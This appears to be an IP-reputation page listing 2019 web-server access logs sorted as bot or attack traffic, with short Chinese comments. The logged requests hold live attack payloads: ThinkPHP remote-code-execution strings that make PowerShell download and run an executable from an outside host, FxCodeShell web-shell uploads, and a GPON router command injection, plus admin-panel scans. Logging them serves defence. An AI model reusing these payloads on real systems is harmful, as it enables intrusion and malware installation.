City: unknown
Region: unknown
Country: None
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 232.69.204.90
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12182
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;232.69.204.90. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025022000 1800 900 604800 86400
;; Query time: 42 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Thu Feb 20 17:57:25 CST 2025
;; MSG SIZE rcvd: 106Host 90.204.69.232.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 90.204.69.232.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 61.219.11.153 | botsattack | 61.219.11.153 - - [07/Apr/2019:13:04:34 +0800] "\\x01\\x02\\x03\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00" 400 182 "-" "-" |
2019-04-07 13:08:17 |
| 118.25.49.95 | attack | 118.25.49.95 - - [01/Apr/2019:11:49:22 +0800] "GET /struts2-rest-showcase/orders.xhtml HTTP/1.1" 400 682 "http://118.25.52.138:443/struts2-rest-showcase/orders.xhtml" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:11:49:22 +0800] "GET /index.action HTTP/1.1" 400 682 "http://118.25.52.138:443/index.action" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:11:49:22 +0800] "GET /index.do HTTP/1.1" 400 682 "http://118.25.52.138:443/index.do" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-01 11:50:45 |
| 37.59.68.172 | attack | 37.59.68.172 - - [09/Apr/2019:14:34:22 +0800] "POST /wp-admin/admin-ajax.php HTTP/1.1" 400 3623 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" 37.59.68.172 - - [09/Apr/2019:14:34:23 +0800] "POST /wp-admin/admin-ajax.php HTTP/1.1" 400 3623 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" 37.59.68.172 - - [09/Apr/2019:14:34:24 +0800] "POST /wp-admin/admin-ajax.php HTTP/1.1" 400 3623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" 37.59.68.172 - - [09/Apr/2019:14:34:24 +0800] "POST /wp-admin/admin-ajax.php HTTP/1.1" 400 3623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" 37.59.68.172 - - [09/Apr/2019:14:34:24 +0800] "POST /wp-admin/admin-ajax.php HTTP/1.1" 400 3623 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" |
2019-04-09 14:45:03 |
| 76.237.130.233 | attack | 76.237.130.233 - - [01/Apr/2019:19:03:08 +0800] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 76.237.130.233 - - [01/Apr/2019:19:03:09 +0800] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 76.237.130.233 - - [01/Apr/2019:19:03:10 +0800] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" |
2019-04-01 19:53:21 |
| 118.25.49.95 | attack | 118.25.49.95 - - [10/Apr/2019:06:35:38 +0800] "GET /public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%2
0(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/lodhbrsdjsbwixa27329.exe');start%20C:/Windows/temp/lodhbrsdjsbwixa27329.exe HTTP/1.
1" 404 232 "http://118.25.52.138:80/public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Ne
t.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/lodhbrsdjsbwixa27329.exe');start C:/Windows/temp/lodhbrsdjsbwixa27329.exe" "Mozilla/4.0 (compatible; MSIE 9
.0; Windows NT 6.1)"
118.25.49.95 - - [10/Apr/2019:06:35:38 +0800] "GET /public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 301 194 "http://118.25.52.138:80/public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars
[0]=system&vars[1][]=echo ^>hydra.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.49.95 - - [10/Apr/2019:06:35:38 +0800] "GET /public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 404 232 "http://118.25.52.138:80/public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars
[0]=system&vars[1][]=echo ^>hydra.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-10 07:14:51 |
| 77.1.146.159 | attack | 77.1.146.159 - - [05/Apr/2019:20:16:40 +0800] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 77.1.146.159 - - [05/Apr/2019:20:16:41 +0800] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 77.1.146.159 - - [05/Apr/2019:20:16:41 +0800] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 77.1.146.159 - - [05/Apr/2019:20:16:43 +0800] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" |
2019-04-05 20:21:20 |
| 66.7.149.135 | attack | 66.7.149.135 - - [07/Apr/2019:21:20:06 +0800] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 66.7.149.135 - - [07/Apr/2019:21:20:06 +0800] "Accept-Language: en-US,en;q=0.5" 400 182 "-" "-" 66.7.149.135 - - [07/Apr/2019:21:20:06 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 66.7.149.135 - - [07/Apr/2019:21:20:07 +0800] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 66.7.149.135 - - [07/Apr/2019:21:20:07 +0800] "GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" |
2019-04-07 21:21:46 |
| 42.236.10.78 | botsnormal | 360爬虫还会搜索，似乎有人为痕迹，还是什么检查。。 42.236.10.78 - - [04/Apr/2019:11:02:06 +0800] "GET /?s=%E4%B9%A0%E8%BF%91%E5%B9%B3 HTTP/1.1" 200 11854 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" |
2019-04-04 11:08:59 |
| 118.25.49.95 | attack | 118.25.49.95 - - [01/Apr/2019:09:39:12 +0800] "PUT /FxCodeShell.jsp%20 HTTP/1.1" 301 194 "http://118.25.52.138:80/FxCodeShell.jsp%20" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:09:39:12 +0800] "PUT /FxCodeShell.jsp%20 HTTP/1.1" 404 232 "http://118.25.52.138:80/FxCodeShell.jsp%20" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:09:39:12 +0800] "PUT /FxCodeShell.jsp::$DATA HTTP/1.1" 301 194 "http://118.25.52.138:80/FxCodeShell.jsp::$DATA" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:09:39:12 +0800] "PUT /FxCodeShell.jsp::$DATA HTTP/1.1" 404 232 "http://118.25.52.138:80/FxCodeShell.jsp::$DATA" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:09:39:12 +0800] "PUT /FxCodeShell.jsp/ HTTP/1.1" 301 194 "http://118.25.52.138:80/FxCodeShell.jsp/" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:09:39:12 +0800] "PUT /FxCodeShell.jsp/ HTTP/1.1" 404 232 "http://118.25.52.138:80/FxCodeShell.jsp/" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:09:39:12 +0800] "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1" 301 194 "http://118.25.52.138:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:09:39:12 +0800] "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1" 404 232 "http://118.25.52.138:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-01 09:39:56 |
| 101.91.62.11 | attack | 101.91.62.11 - - [06/Apr/2019:14:45:13 +0800] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.91.62.11 - - [06/Apr/2019:14:45:13 +0800] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 209 "http://118.25.52.138/phpMyAdmin/phpMyAdmin/index.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-06 14:46:07 |
| 101.235.171.58 | attack | 101.235.171.58 - - [07/Apr/2019:12:05:51 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 301 194 "-" "Hello, World" 101.235.171.58 - - [07/Apr/2019:12:05:51 +0800] "mp/gpon80;sh+/tmp/gpon80+gpon80'&ipv=0" 400 182 "-" "-" 101.235.171.58 - - [07/Apr/2019:12:05:51 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 301 194 "-" "Hello, World" 101.235.171.58 - - [07/Apr/2019:12:05:51 +0800] "mp/gpon80;sh+/tmp/gpon80+gpon80'&ipv=0" 400 182 "-" "-" |
2019-04-07 12:07:50 |
| 42.156.254.59 | bots | 应该是yisou爬虫，但是不知道为啥400 42.156.254.59 - - [09/Apr/2019:14:25:31 +0800] "GET /wp-content/themes/twentyfifteen/genericons/genericons.css?ver=3.2 HTTP/1.1" 400 3429 "-" "-" 42.156.254.57 - - [09/Apr/2019:14:25:31 +0800] "GET /wp-content/plugins/wp-quicklatex/css/quicklatex-format.css?ver=5.1.1 HTTP/1.1" 400 3429 "-" "-" 42.156.254.59 - - [09/Apr/2019:14:25:31 +0800] "GET /wp-includes/css/dist/block-library/style.min.css?ver=5.1.1 HTTP/1.1" 400 3429 "-" "-" 42.156.254.60 - - [09/Apr/2019:14:25:32 +0800] "GET /wp-content/themes/twentyfifteen-child/style.css?ver=5.1.1 HTTP/1.1" 400 3429 "-" "-" |
2019-04-09 14:46:10 |
| 58.218.56.113 | attack | 58.218.56.113 - - [02/Apr/2019:07:40:20 +0800] "GET / HTTP/1.1" 301 228 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 58.218.56.113 - - [02/Apr/2019:07:40:20 +0800] "GET /web/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.1" 404 505 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 58.218.56.113 - - [02/Apr/2019:07:40:21 +0800] "GET / HTTP/1.1" 301 228 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 58.218.56.113 - - [02/Apr/2019:07:40:21 +0800] "GET /web/editor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.1" 404 502 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" |
2019-04-02 11:05:01 |
| 183.57.53.177 | attack | 183.57.53.177 - - [01/Apr/2019:08:57:38 +0800] "GET /linkx.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 183.57.53.177 - - [01/Apr/2019:08:57:38 +0800] "GET /linkx.php HTTP/1.1" 404 209 "http://118.25.52.138/linkx.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-01 08:58:20 |
| 23.100.232.233 | bots | 应该是微软爬虫，不是真实流量 23.100.232.233 - - [02/Apr/2019:12:54:13 +0800] "GET /index.php/2018/12/05/didi_2018_12_05_cn/ HTTP/1.1" 200 13104 "http://www.bing.com/search?q=https%3A%2F%2Fz.didi.cn%2FroB7WDCz5iTXn&form=MSNH14&sc=8-4&sp=-1&qs=n&sk=" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Trident/5.0)" 23.100.232.233 - - [02/Apr/2019:12:54:14 +0800] "GET /wp-content/themes/twentyfifteen/js/html5.js HTTP/1.1" 200 1695 "https://www.eznewstoday.com/index.php/2018/12/05/didi_2018_12_05_cn/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Trident/5.0)" |
2019-04-02 13:02:17 |